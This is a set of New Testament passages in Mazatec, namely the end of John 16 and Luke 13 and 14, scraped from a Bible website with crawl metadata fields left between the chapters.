kixi̱í xi tìxan‑nò; kjo̱ndaà tsa̱jòn‑nò nga kjián. Tsà mìkiì kjián, mìkiì ko̱ma ki̱tjojen jè xi ko̱si̱ko̱‑nò nga i̱ kíjnako̱‑nò. Mochjeén‑né nga kjián mé‑ne nga ko̱ma sìkasén‑nò. 8K'e̱ nga ki̱tjojen jè xi ko̱si̱ko̱‑nò, jè si̱ìkíchi̱ya ndaà‑la̱ xi̱ta̱ i̱sò'nde kjoa̱ ts'e̱ jé, ko̱ kjoa̱ xi kixi̱ tjín ko̱ nga si̱ndaàjiìn yá xi ko̱ko̱‑la̱ kjo̱'in. 9Jè si̱ìkíchi̱ya ndaà‑la̱ xi̱ta̱ i̱sò'nde xi kjoa̱ ts'e̱ jé nga mìkiì mokjeiín‑la̱ i̱t'aà ts'a̱n. 10Ko̱ si̱ìkíchi̱ya ndaà‑la̱ xi̱ta̱ i̱t'aà ts'e̱ kjoa̱ xi kixi̱ tjín, nga 'a̱n jyeé tìfia ñánda tíjna Na̱'èn‑na̱. Jñò, mì ti̱ kiì jcha̱xkon‑ná. 11Ko̱ si̱ìkíchi̱ya ndaà‑la̱ xi̱ta̱ nga si̱ndaàjiìn‑la̱ yá xi ko̱ko̱‑la̱ kjo̱'in, koi kjoa̱‑la̱ nga jè xi̱ta̱ nei̱í xi tíhotíxoma‑la̱ i̱sò'nde jye k'oa̱s'ín tjínè‑la̱ nga kjo̱'in s'e̱‑la̱. 12'Kjìn jchán kjoa̱ tjín ìsa̱ xi kj'ei̱í xi ko̱xán‑nò ta̱nga i̱'ndei̱ mìkiì titsa̱jnandaà nga kjoa̱has'en‑jiìn‑nò. 13K'e̱ nga ki̱tjojen jè Ini̱ma̱ Tsjeè‑la̱ Nainá xi nguì kjoa̱ kixi̱, jè si̱ìkixi̱ya ndaà‑nò xi nguì kjoa̱ kixi̱ nga mìtsà kjo̱hítsjeèn ts'e̱ si̱ìkjeén k'e̱ nga ki̱chja̱. K'oa̱á s'ín ki̱chja̱ koni s'ín tjín kjoa̱ xi 'nchré. Ke̱èno̱jmí‑nò kjoa̱ xi s'e̱ k'e̱ nga ko̱ma i̱skan. 14Jè jeya si̱ìkíjna‑na k'e̱ nga tjoé‑la̱ 'én‑na̱ i̱kjoàn ko̱kòya‑nò. 15Ngats'iì xi tjín‑la̱ Na̱'èn‑na̱, ti̱koa̱á ts'a̱n‑ná. Koií k'oa̱ xan‑nò nga jè Ini̱ma̱ Tsjeè‑la̱ Nainá tjoé‑la̱ 'én xi ts'a̱n, i̱kjoàn ko̱kòya‑nò. 16'Jñò, tà chibaá na̱chrjein chija nga mì ti̱ kiì jcha̱xkon‑ná; xi ko̱ma jò jàn na̱chrjein ìjngoò k'a jcha̱xkon ìjngoò k'a‑ná nga jè tìfikoa̱a Na̱'èn‑na̱. 17Xi̱ta̱ xi kota'yàt'aà‑la̱ k'e̱é kitsò‑la̱ xíkjín: ―Kó tsòya‑ne 'én xi tsò‑la̱: tà chibaá na̱chrjein chija‑la̱ nga mì ti̱ kiì jcha̱xkon‑ná, xi ko̱ma jò jàn na̱chrjein, ìjngoò k'a jcha̱xkon‑ná nga jè tìfikoa̱a Na̱'èn‑na̱. 18Kitsò‑la̱ xíkjín: ―¿Kó tsòya‑ne 'én xi tsò‑la̱: \"Ta chibaá na̱chrjein chija\"? Mìkiì fìya‑ná koni s'ín chja̱. 19Jesús, ti̱k'e̱é kjòchi̱ya‑la̱ nga jñà xi̱ta̱‑la̱ mejèn‑la̱ sko̱nangui‑la̱ kó tsòya‑ne 'én xi kiìchja̱. K'e̱é kitsò‑la̱: ―¿A titsa̱chjinanguií‑la xinguio̱o kó tsòya‑ne koni s'ín kàxan‑nò: Tà chibaá na̱chrjein chija‑la̱ nga mì ti̱ kiì jcha̱xkon‑ná, xi ko̱ma jò jàn na̱chrjein ìjngoò k'a jcha̱xkon‑ná? 20Nguì o̱kixi̱í xi xan‑nò, jñò, ba s'e̱‑la̱ ini̱ma̱‑nò, jchìhindáya‑nò, ta̱nga jñà xi̱ta̱ i̱sò'nde tsjaá s'e̱‑la̱ ini̱ma̱‑la̱. Jñò, na̱s'ín ba s'e̱‑nò, jè kjoa̱ ba‑nò, nga ko̱ma i̱skan, kjoa̱ tsjaá ko̱ma‑ne. 21Jngoò chjo̱ón, k'e̱ nga chóya na̱chrjein‑la̱ nga 'beé ki'ndí, tse kjo̱'in síkjeiín. Ta̱nga k'e̱ nga jye ts'iìn jè ki'ndí, mì ti̱ kiì síkítsjeèn‑ne kjo̱'in xi kasíkjeiín jè chjo̱ón. Ta̱ sa̱á tà kjo̱tsjaá s'e̱‑la̱ nga jngoò xi̱ta̱ kats'iìn i̱ i̱sò'nde. 22O̱kixi̱‑né i̱t'aà tsa̱jòn, i̱'ndei̱, ba tjín‑nò, ta̱nga ko̱ma i̱skan, k'e̱ nga skoexkon ìjngoò k'a‑nò, k'e̱‑né nga 'ñó tsja ko̱ma‑la̱ ini̱ma̱‑nò. Jè kjo̱tsja‑nò ni̱yá xi kjoa̱áxìn‑nò. 23'K'e̱ nga ki̱jchò na̱chrjein nga jcha̱xkon ìjngoò k'a‑ná, ni̱mé xi chji̱nangui‑ná. O̱kixi̱í xi xan‑nò, ni̱ta̱ mé xi si̱jé‑là Na̱'èn‑na̱ xi i̱t'aà ts'a̱n, tsjá‑nò. 24Skanda i̱'ndei̱, ni̱ sà mé xi nìjé xi i̱t'aà ts'a̱n; ti̱jé, tjoé‑nò, mé‑ne nga ni̱mé xi chijat'aà‑la̱ kjo̱tsja xi tíjiìn ini̱ma̱‑nò. 25''Én xi tìchjàko̱‑nò, tà kjoa̱ mangásòn‑né tìsìkjeén. Ta̱nga ki̱jchò na̱chrjein k'e̱ nga mì ti̱ kiì kjoa̱ mangásòn kichjàko̱‑nò. Kèno̱jmí kixi̱í‑nò i̱t'aà ts'e̱ Na̱'èn‑na̱. 26Na̱chrjein jè, jñò, i̱t'aà ts'a̱án si̱jét'aà‑là Na̱'èn‑na̱. 'A̱n, mì ti̱ kiì kìtsi'bà‑tjì‑nò xi i̱t'aà tsa̱jòn, 27nga jè sobà Na̱'èn‑na̱ matsjakeè‑nò. Koií matsjakeè‑nò nga jñò, ti̱koa̱á matsjacha‑ná ko̱ mokjeiín‑nò nga i̱t'aà ts'e̱ Nainá inchrobà‑na. 28Ya̱á itjokàt'aà‑la̱ Nainá nga inchrobà i̱ i̱sò'nde. I̱'ndei̱ siìkíjna‑ná i̱sò'nde, tìfiko̱ó ìjngoò k'a‑na̱ Na̱'èn‑na̱. 29Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ kitsò‑la̱: ―I̱'ndei̱, tinokjoà kixi̱‑né, ni̱mé kjoa̱ mangásòn tìnìkjiín. 30I̱'ndei̱, jyeé 'ya‑je̱n nga ji̱ machi̱ya yijeé‑lè ni̱ta̱ mé kjoa̱‑ne. Mìkiì mochjeén tsà yá xi sko̱nangui‑lè. K'oa̱á ma‑ne nga mokjeiín‑naje̱n nga i̱t'aà ts'e̱ Nainá inchrobà‑ne. 31Kiìchja̱ Jesús, kitsò‑la̱: ―I̱'ndei̱, ¿a mokjeiín‑nò? 32Jyeé kjo̱meè bijchó hora, ti̱jè‑ne hora jè, jñò, tsjohoba‑nò nga jngoò ìjngoò; onguí‑nò ni'ya‑nò; ta̱jngoò si̱kíjna‑ná. Ta̱nga mìtsà ta̱jngoò tìjna̱a, jè tíjnako̱‑na Na̱'èn‑na̱. 33K'oa̱á s'ín tìchjàko̱‑nò mé‑ne i̱t'aà ts'a̱n s'e̱‑nò kjoa̱'nchán. Koa̱ i̱ i̱sò'nde kjo̱'iín s'e̱‑nò, ta̱nga 'ñó t'è‑là takòn. 'A̱n, jyeé kisìkijne‑la̱ jñà kjoa̱ xi tjín i̱sò'nde.\nSan Juan 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/John\/16","date":"2013-12-13T19:21:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164981569\/warc\/CC-MAIN-20131204134941-00067-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":703,"character_repetition_ratio":0.07,"word_repetition_ratio":0.027,"special_characters_ratio":0.241,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1India 'kia̱ nga ni̱chjin níkjáya, Jesús ya̱á kiì kàkjèn ya̱ ni'ya‑la̱ jngo xi̱ta̱ ra tíjna ítjòn 'tse̱ xi̱ta̱ fariseo. Xi̱ta̱ kìi̱, i̱nchisíkonda̱‑ní mé kjoa̱ ra 'si̱in Jesús. 2Ti̱'koa̱ ya̱á tíjna ya̱ ngixko̱n Jesús, jngo xi̱ta̱ ra 'chin itjoya tjín‑la̱. 3Jesús iskonangi‑la̱ jñà xi̱ta̱ chji̱ne̱ xa̱jo̱n ko̱ xi̱ta̱ fariseo, kitsò‑la̱: ―¿A tjí'nde‑ní nga si̱xki‑lá xi̱ta̱ ra kiya 'kia̱ nga ni̱chjin níkjáya, o̱ ra majìn‑ní? 4Tanga jñà xi̱ta̱ kìi̱, tà jyò tsikitsa̱jna. 'Kia̱á 'ja Jesús, iskábé xi̱ta̱ ra̱kìi̱, isinda‑ni. A̱kjòn isìkasén‑ni ni'ya‑la̱. 5'Kia̱á kitsò‑la̱ jñà xi̱ta̱ kìi̱: ―Jiòn, tsa búrró‑no, ko̱ tsa nchra̱ja̱‑no ska̱tje̱n‑ya jngo nga̱jo̱, ¿a mí tsa ndi̱to̱n ki̱náchrje‑najiòn ni̱'sín ni̱chjin níkjáya? 'Koa̱á tixó jiòn‑ni̱. 6Jñà xi̱ta̱ fariseo, ni̱ì‑ti̱‑mé 'én kiìchja̱‑ni. 7'Kia̱ nga kijtse Jesús jñà xi̱ta̱ ra xá inakjoá‑ila̱, nga jñà fahájin íxile̱ ra i̱ncha ítjòn, tsi'kéna̱jmí jngo‑la̱ kjoa̱ ra mangásòn, kitsò‑la̱: 8―'Kia̱ yá ra xá ki̱chja̱‑li ya̱ ñánda̱ bixan xi̱ta̱, kì ya̱ bijnasìn jñà íxile̱ ra i̱ncha ítjòn, tsa a̱skaán kj'i̱í jngo‑isa‑ni xi̱ta̱ ra ti̱'koa̱ xá inakjoá‑ila̱ ra isa̱ 'ñó xkón tíjna koni ngaji̱; 9jè xi̱ta̱ ra xá kiìchja̱‑li ki̱tso̱‑li: \"Ti̱'nde‑la̱ jè xi̱ta̱ ra̱kìi̱ nga katijna.\" Ta sabá ka̱ma‑li ra ji̱, nga ya̱ ki̱jnasìn íxile̱ ra fehe'ta‑ni. 10'Kia̱ nga ñánda̱ xá ki̱nákjoa̱‑li, ya̱á ti̱jnasìn íxile̱ ra fehe'ta‑ni mé‑ni 'kia̱ nga kj'i̱í jè xi̱ta̱ ra xá kàchja̱‑li, ki̱tso̱‑li: \"Ji̱ ndse, ya̱ ti̱jna'tì ímixa̱ ñánda̱ síjna jè íxile̱ ítjòn ján.\" 'Koa̱á 'sín ka̱ma‑ni nga ske̱xkón‑li jñà xi̱ta̱ ra ta̱ña ki̱tsa̱jna'ta ímixa̱. 11Jè xi̱ta̱ ra 'nga síkíjna ijo‑la̱, isa̱á nangií si̱kíjna; jè ra nangi síkíjna ijo‑la̱, isa̱á 'nga si̱kíjna. 12Jesús, ti̱'koa̱á kitsò‑la̱ jè xi̱ta̱ ra xá kiìchja̱‑ila̱: ―'Kia̱ yá ra ki̱nákjoa̱‑la̱ ra ji̱ nga mejèn‑li ko̱kje̱n‑ko̱‑li, kì jñà nakjoá ítjòn‑la̱ jñà ra nda chìki̱i, ra 'ndsì ma, ra xi̱ta̱ xàngi̱i ma, ko̱ xi̱ta̱ ra tjíhijyo chraña ya̱ ni'ya‑li, ra xi̱ta̱ nchi̱ná; nga̱ jñà xi̱ta̱ kìi̱, maá‑la̱ ki̱chja̱ ngajo‑li nga si̱ìjndà‑ni. 13'Kia̱ nga 'sí kíjni ra ji̱, jñà ti̱nákjoa̱ ítjòn‑la̱ jñà ra xi̱ta̱ i̱ma̱, ra tsìn tsja, ra mì kì ma fì, ko̱ ra mì kì tsijen‑la̱. 14'Kia̱ nga ko̱'sín 'si̱in, nda 'se̱‑la̱ inìma̱‑li; nga̱ jñà xi̱ta̱ kìi̱, mì kì ma‑la̱ si̱ìjndà ngajo‑ni; tanga 'kia̱á ko̱chjí ngajo‑li 'kia̱ nga kjoa̱áya‑ila̱ jñà ra xi̱ta̱ kixi̱. 15'Kia̱ nga kií'nchré jngo xi̱ta̱ ra ya̱ ta̱ña tjítsa̱jna'ta ímixa̱, kitsò‑la̱ Jesús: ―¡Mé ta̱ nda‑la̱ jè xi̱ta̱ ra ya̱ ko̱kje̱n‑te ya̱ ñánda̱ tíbatéxoma Nainá! 16'Kia̱á kitsò Jesús: ―Jngo xi̱ta̱, ra jngo 'sí tsikíjna; kjín xi̱ta̱ isíkjí'nchré. 17'Kia̱ ijchò chi̱ba̱‑la̱ nga ijye ko̱kje̱n xi̱ta̱, isìkasén chi̱'nda‑la̱ nga kiìchja̱‑la̱ jñà ra xá inakjoá‑ila̱, kitsò‑la̱: \"Ijyeé tjínda ijye tsajmì, nchrabá jiòn.\" 18Tanga jñà xi̱ta̱ kìi̱, jngó jngó isíjé kjoa̱nìhijcha'ta nga mì kì ma'a‑la̱. Kitsò jè ra tíjna ítjòn: \"Mí‑la kì ko̱ma kjín‑na; nangií kàbatse jngo 'ndée̱; ya̱á tífìkatsíjen‑la̱; ti̱jchaà'tá‑ná nga mì kì ma'a‑na.\" 19Jè ra ìjngo kitsò‑te: \"'Òn nchra̱ja̱ ra bínchi 'sa̱ kàbatse; jñà tífikjó'ta a nda síxá; ti̱jchaà'tá‑ná, mì kì kjiáa̱n.\" 20Ra ìjngo, 'koa̱á ti̱ kitsò: \"'A̱n, 'sa̱á kàbixan, 'koa̱á ma‑ni nga mì kì kjiáa̱n.\" 21'Kia̱ nga 'ji‑ni jè chi̱'nda, tsi'kéna̱jmí ijye‑la̱ ni‑la̱ nga'tsì 'én kìi̱. Kjojti‑la̱ jè ni‑la̱ ni'ya; 'kia̱á kitsò‑la̱ chi̱'nda‑la̱: \"Ndi̱to̱n 'tin ya̱ ndi̱tsi̱n ján, ko̱ ya̱ a̱ya ndi̱yá‑la̱ na̱xi̱ndá; nchrabáko̱ ijyi ra xi̱ta̱ i̱ma̱, ra tsìn tsja, ra mì kì ma fì, ko̱ ra mì kì tsijen‑la̱.\" 22Ra kjomà a̱skan‑nioo̱ kitsò jè chi̱'nda ra̱kìi̱: \"Ijye kabitjasòn‑ní koni 'sín kà'mí‑ná, tanga takó tjín‑isa i̱'nde.\" 23'Kia̱á kitsò jè ni‑la̱ chi̱'nda: \"'Tin nga tíjngo ndi̱yá‑té ján ko̱ ya̱ ñánda̱ tjín ndi̱yá i̱tsjí; kjo̱'ñó 'ti̱n‑la̱ jñà xi̱ta̱ nga nchrabáki̱i, mé‑ni nga katatse‑ni ni'ya‑na̱. 24'Koa̱á xín‑no, ni̱jngo xi̱ta̱ ra ísikjí'nchré ítjòn ko̱kje̱n‑ko̱‑na 'sí‑na̱.\" 25'Ñó kjìn xi̱ta̱ tji̱ngi‑la̱ Jesús; isíkáfaya'ta‑la̱, kiìchja̱, kitsò‑la̱: 26―Tsa yá ra mejèn‑la̱ nga 'a̱n nchrabátji̱ngi‑na, mì kì ka̱ma ya̱ sko̱ótá'yá'ta‑na tsa jè isa̱ 'ñó tsjake ijo‑la̱, na̱'ìn‑la̱, na̱‑la̱, chjo̱ón‑la̱, i̱xti‑la̱, 'ndse̱, ndichja, tsa mì 'ñó tsjake‑na ra 'a̱n. 27Ti̱'koa̱á mì kì ka̱ma ya̱ sko̱ótá'yá'ta‑na jè xi̱ta̱ ra mì kì tsò ikon nga nchrabá'ta‑na nga chíkjoa̱‑la̱ kjo̱hi'in ra ko̱tojin ra ta nga̱tjì tsa̱'a̱n koni 'sín nga bato kjo̱hi'in xi̱ta̱ ra 'bamijìn krò ra ti̱jè ya̱ biya'tá‑ni. 28Tsa 'kia̱ mejèn‑najiòn nga jngo chrjó ra 'nga kínda jngo, ¿a mí tsa ítjòn jchósòn‑la kótjín si̱ngi chjí‑la̱, a tjín‑no to̱n ra si̱nda ijye‑ni? 29Tsa tà jè tjà'tsin chrjó si̱jna‑ni, tsa mì kì ko̱jngo ijye‑ni chrjó, si̱itsja'tin‑no nga'tsì xi̱ta̱ ra ske̱, 30nga ki̱tso̱: \"Jñà xi̱ta̱ kìi̱, tsikí'tsia̱‑ní nga iskimítje̱n chrjó ni'ya‑la̱ tanga mì kì kjòjngo‑ila̱.\" 31Tsa jngo xi̱ta̱xá ítjòn ra kjo̱jchán tífì nga ska̱jàn‑ko̱ jngo ra ti̱'koa̱ xi̱ta̱xá ítjòn, ¿a mí tsa ítjòn sko̱ósòn‑la̱ tsa te jmi ma‑ni xi̱ta̱‑la̱ ra 'tse̱, a chíkjoa̱á‑la̱ nga ska̱jàn‑ko̱ tsa kan jmi ma‑ni ra kondra̱‑la̱? 32Tsa ske̱‑la̱ ikon nga mì kì chíkjoa̱‑la̱, ti̱'kia̱á‑ni nga kjin tíjna xi̱ta̱xá ítjòn ra ìjngo, nga si̱ìkasén xi̱ta̱‑la̱ ra si̱ìjé kjo̱'nchán. 33'Koa̱á ti̱'sín tjín ra a̱'ta tsa̱jiòn, nga'tsì ra mejèn‑la̱ nga xi̱ta̱ tsa̱'a̱n ka̱ma, ítjòn katasíkítsjen a tjíjngoó ikon nga tsjín ijye tsajmì ra jè tsjake. Tsa majìn, mì kì ka̱ma nga xi̱ta̱ tsa̱'a̱n xín‑la̱. 34'Jè na̱xa̱, nda‑ní; tanga tsa 'kia̱ mì kì ti̱ jnchra ka̱ma‑ni, ¿kó'sín ko̱chjeén‑isa? 'Koa̱á tixó jiòn‑ni̱. 35Mì kì ti̱ mé chjí‑ila̱; mì kì ti̱ ko̱chjeén‑ila̱ nangi; ko̱ mì kì ti̱ ko̱chjeén‑ni koni tjé'nde; tà xa̱ájten‑isa. Nda kjón ti̱ná'ya koni 'sín xin‑no.\nSan Lucas 14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Luke\/14","date":"2013-12-13T03:08:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164834476\/warc\/CC-MAIN-20131204134714-00074-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000077486038208}","num_words":836,"character_repetition_ratio":0.06,"word_repetition_ratio":0.017,"special_characters_ratio":0.246,"stopwords_ratio":0.307,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"1Ti̱jñá‑ni ni̱chjin kìi̱, ya̱á títsa̱jna i'ka xi̱ta̱ ra i̱nchi'béna̱jmí‑la̱ Jesús, nga jè‑ró Pilato tsikí'tin xi̱ta̱ ra isì'ken i'ka xi̱ta̱ Galilea. 'Kia̱ nga i̱nchisí'ken cho̱ ra kjo̱tjò 'tse̱ Nainá, ya̱‑ró isíkójin jní‑la̱ xi̱ta̱ kìi̱, ko̱ 'tse̱ cho̱. 2Kiìchja̱ Jesús, kitsò: ―¿A 'koa̱á 'sín níkítsjen jiòn: a kií ko̱'sín kjomà‑ni nga isa̱ tse jé tjín‑la̱ jñà xi̱ta̱ kìi̱, koni jñà xi̱ta̱ ra i'ka? 3'Koa̱á xín kixi̱‑no; tsa mì kì si̱kájno jé‑no ki̱yá tsje‑nájiòn tsa mì kì koa̱áfa'ta‑la Nainá. 4'Kia̱ nga 'ken jñà xi̱ta̱ ra chrjo'òn jàn ma‑ni ra iskanè jè ni'ya chrjó ra 'ñó 'nga 'tse̱ Siloé, ¿a 'koa̱á 'sín níkítsjen jiòn; a kií ko̱kjamà‑ni nga isa̱ tse jé tjín‑la̱ koni nga'tsì xi̱ta̱ ra tjín ya̱ Jerusalén? 5'Koa̱á xín kixi̱‑no; tsa mì kì si̱kájno jé‑no ki̱yá tsje‑nájiòn tsa mì kì koa̱áfa'ta‑la Nainá. 6Jesús ti̱'koa̱á tsi'kéna̱jmí ìjngo‑la̱ kjoa̱ ra mangásòn. Kitsò‑la̱: ―Jngo xi̱ta̱ ra tjín jngo‑la̱ i̱'nde ya̱ ñánda̱ nga majchá to uva, ya̱á tjítje̱jin jngo‑la̱ yá 'tse̱ to igo̱. Xi̱ta̱ ra̱kìi̱, kiì katsíjen‑la̱ a ijá‑la̱ to; tanga ni̱mé to isakò‑la̱. 7'Kia̱á kitsò‑la̱ jè xi̱ta̱ ra síkinda̱ nangi‑la̱: \"Kjo ján nó 'fìa̱ nga 'fíi katsíjen‑la̱ jè yá ra̱kìi̱, a ijá‑la̱ to. Tanga ni̱mé tjín‑la̱. Ti̱chásìn. Tà nangií tísíkitsón‑ni.\" 8Jè xi̱ta̱ ra síkinda̱ kitsò‑la̱: \"Ji̱, nàmi̱, katasijna‑la̱ inó‑isa. Sijchón‑la̱, sixán jngo tjandi‑la̱ ni'nde; a̱kjòn kingí‑la̱ tjé'nde. 9Tsa kií ni̱chjin‑ni, ko̱ja̱‑la̱ to jè nó ra nchrabáa̱; tsa majìn, a̱kjòn 'kia̱á‑la ki̱chásin.\" 10India 'kia̱ nga ni̱chjin níkjáya, Jesús, ya̱á tíbakón‑ya ya̱ jngo ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. 11Ya̱á tíjna jngo chjo̱ón ra ijye kjo chrjo'òn jàn nó tjín‑la̱ nga kiya. Jngo inìma̱ 'cho‑la̱ ni̱í isìtsitin ko̱ mì kì ma basèn kixi̱. 12Jesús, 'kia̱ nga kijtse, kiìchja̱á‑la̱, kitsò‑la̱: ―Ji̱ ndí chjo̱ón, ijye nda‑ni 'chin ra tjín‑li. 13A̱kjòn tsakásòn‑la̱ tsja; jè chjo̱ón ra̱kìi̱, ta ndi̱to̱ón kjòkixi̱ india‑ni; a̱kjòn kitsjá‑la̱ kjo̱nda Nainá. 14Tanga jè xi̱ta̱ ítjòn 'tse̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío, kjojtií‑la̱ nga isinda‑ni Jesús chjo̱ón ra̱kìi̱, ta nga̱tjì‑la̱ nga ni̱chjin níkjáya 'kia̱; kitsò‑la̱ jñà xi̱ta̱ ra ya̱ títsa̱jna: ―Joón ni̱chjin tjín ra ma maxá; jñá ni̱chjin kìi̱ ma kji̱nchrabà jiòn nga ko̱nda‑no, tanga mì kì tjí'nde 'kia̱ nga ni̱chjin níkjáya. 15'Kia̱á kiìchja̱ Na̱'ín‑ná Jesús, kitsò: ―Jiòn, ra jò i̱sén tjín‑no. 'Kia̱ nga ni̱chjin níkjáya, ¿a mí chjíjnda̱'ñó jiòn nchra̱ja̱‑no ko̱ búrró‑no nga nachrjengio ni'ya‑la̱ nga ma nì'kioò nandá? 'Koa̱á tixó jiòn‑ni̱. 16Jè chjo̱ón ra̱kìi̱, ra tje̱‑la̱ Abraham, ijyeé kjo chrjo'òn jàn nó tjín‑ni nga tjíté'ñó‑la̱ ni̱í. ¿A mí ko̱ma tjájnda̱'ñó‑ni ni̱'sín ni̱chjin níkjáya? 17'Kia̱ nga ijye ko̱kitsò Jesús, tà kjosabà‑la̱ nga'tsì xi̱ta̱ kondra̱‑la̱; tanga jñà xi̱ta̱ na̱xi̱ndá, 'ñó kjotsja‑la̱ koni 'sín tjín kjo̱xkón ra 'ñó jeya tí'sín Jesús. 18Jesús kitsò: ―¿Mé ra mangásòn‑ko̱ koni 'sín nga batéxoma Nainá? ¿Mé ra ma síngásòn‑ko̱? 19'Koa̱à‑la jngoya‑la̱ koni jè xojmá mostaza; 'kia̱ nga jngo xi̱ta̱ bítje̱jin ya̱ nangi‑la̱, a̱kjòn bisò, ko̱ ma'nga; jñà ni̱se ra tjíma i'ngaá, ya̱á bínda'á tjé‑la̱ ya̱ chrja‑la̱ yá ra̱kìi̱. 20Ngi india kiìchja̱‑ni Jesús, kitsò: ―¿Mé ra nda síngásòn‑ko̱ koni 'sín batéxoma Nainá? 21'Koa̱á 'sín ngoya‑la̱ koni jè na̱'yo̱ san 'kia̱ nga jngo chjo̱ón síkójin na̱'yo̱ san ko̱ chijo ra sinda‑ni ni̱ño̱ nchra̱jín, a̱kjòn masan ijye nga'tsì jè na̱'yo̱. 22Jesús, nga tífì ya̱ ndi̱yá Jerusalén, kjín na̱xi̱ndá tsatojin nga tsakón‑ya, na̱xi̱ndá ra i̱tsíñá kjòn ko̱ ra i'i kjòn. 23Jngo xi̱ta̱ iskonangi‑la̱, kitsò‑la̱: ―Na̱'ìn, ¿a chibaá ma‑ni xi̱ta̱ ra ko̱chrjekàjin kjo̱hi'in Nainá? 'Kia̱á kitsò Jesús: 24―Tinè‑la ijo‑no nga jè ti̱tjáha̱'se̱en xo̱tjo̱ba̱ ra 'nchrèya 'ki. 'Koa̱á xin‑no: kjín xi̱ta̱ mejèn‑la̱ kjoa̱ha'sen tanga mì kì ko̱ma ra 'si̱in. 25'Kia̱ nga jè ni‑la̱ ni'ya ijye ko̱sítje̱n ko̱ ki̱ìchjàjto xo̱tjo̱ba̱ ni'ya‑la̱, tsa ndi̱tsiaán titsa̱jna, 'kia̱á kí'tsia̱a nga kixó: \"Ji̱ Na̱'ìn, chí'xa̱‑náji̱n xo̱tjo̱ba̱ ni'ya.\" Ko̱ jè ni‑la̱ ni'ya ki̱tso̱‑no: \"Mì kì bexkon‑no ñánda̱‑ni tsa̱jiòn.\" 26'Kia̱á kixó jiòn: \"Ta̱ñaá ichiko̱‑laji̱n ko̱ ki'yòko̱‑laji̱n, ko̱ tsakon‑ya‑ní ya̱ ndi̱tsi̱n‑na̱ji̱n.\" 27Takó 'koa̱á ki̱tso̱‑no: \"'Koa̱á xin‑no, mì kì bexkon‑no. ¡Ti̱ncha'tàxìn‑ná ján, jiòn xi̱ta̱ ra 'cho 'nià!\" 28Ya̱á chjíndáya jiòn, ko̱ chji̱ne̱nè nì'ñò 'kia̱ nga jcha̱a jè Abraham, Isaac, Jacob, ko̱ nga'tsì xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱, nga títsa̱jna ñánda̱ nga tíbatéxoma Nainá, ko̱ jiòn, xìn i̱'nde ki̱tsa̱jna. 29Kj'i̱í‑ni xi̱ta̱ nga tíjngo i̱sà'nde ra kji̱nchrabà‑ni ñánda̱ nga bitjokátji‑ni tsá'bí skanda ñánda̱ kàtjì‑ni, ko̱ ya̱ nga kixi̱‑la̱ ko̱ ya̱ ngaskoán‑la̱ ñánda̱ tjo‑ni tsá'bí, nga ko̱kje̱n'sí ya̱ ñánda̱ nga tíbatéxoma Nainá. 30'Ndi̱ 'ndi̱, tjín xi̱ta̱ ra tjítsa̱jna tje̱n‑ngi, ra ko̱ma a̱skan‑nioo̱, jñà kítsa̱jna ítjòn‑ni; ko̱ tjín xi̱ta̱ ra tjítsa̱jna ítjòn 'ndi̱ 'ndi̱, ra ko̱ma a̱skan‑nioo̱, jñà kítsa̱jna tje̱n‑ngi‑ni. 31Ti̱jé‑ni ni̱chjin ijchó i'ka xi̱ta̱ fariseo ya̱ ñánda̱ tíjna Jesús, nga kitsò‑la̱: ―Xìn i̱'nde 'tin, jè Herodes mejèn‑la̱ si̱ì'ken‑li. 32Kitsó Jesús: ―Tangió, ko̱'tìn‑la jè xi̱ta̱ maña̱ ra̱kìi̱: \"'Ndi̱ 'ndi̱ ko̱ nchijòn, 'koa̱á 'sín 'siaa̱n: bachrjekàjin‑ná inìma̱ 'cho‑la̱ ni̱í ra tjíjin ijo‑la̱ xi̱ta̱, ti̱'koa̱á sindá‑na xi̱ta̱ ra kiya, skanda 'kia̱ ki̱jchò ni̱chjin nga kje̱he'tà‑na xá‑na̱.\" 33Takó 'koa̱á 'sín tjín‑nè‑na nga jè ndi̱yá kjián 'ndi̱ 'ndi̱, ko̱ nchijòn, ko̱ jngìi̱. Mì kì nda tjín nga jngo xi̱ta̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱, xìn'ta ki̱yá‑la̱ ya̱ na̱xi̱ndá Jerusalén. 34'¡Jiòn, xi̱ta̱ na̱xi̱ndá Jerusalén, ra nì'ken jiòn jñà xi̱ta̱ ra síchjeén Nainá nga chja̱ ngajo‑la̱, ti̱'koa̱ na̱jo̱ binè jiòn jñà xi̱ta̱ ra Nainá síkasén‑no! ¡Kjín 'ka̱ kjomejèn‑na nga tsikíxkóya‑najiòn, koni 'sín 'sín jè xa̱'nda̱ 'kia̱ nga bíxkó ndí i̱xti‑la̱ nga ya̱ minchángi ya̱ a̱ngi na̱jngá‑la̱, tanga jiòn, mì kì kjokjiín‑no! 35Chítsijen‑la ya̱ i̱'nde ñánda̱ nga titsa̱jna, tsjín-takòn Nainá; 'koa̱á xin‑no, mì kì ti̱ jcha̱‑nájiòn skanda 'kia̱ nga ki̱jchò ni̱chjin nga kixó: \"¡Mé tà nda‑la̱ jè ra Nainá isìkasén nga nchrabá ngajo‑la̱!\"\nSan Lucas 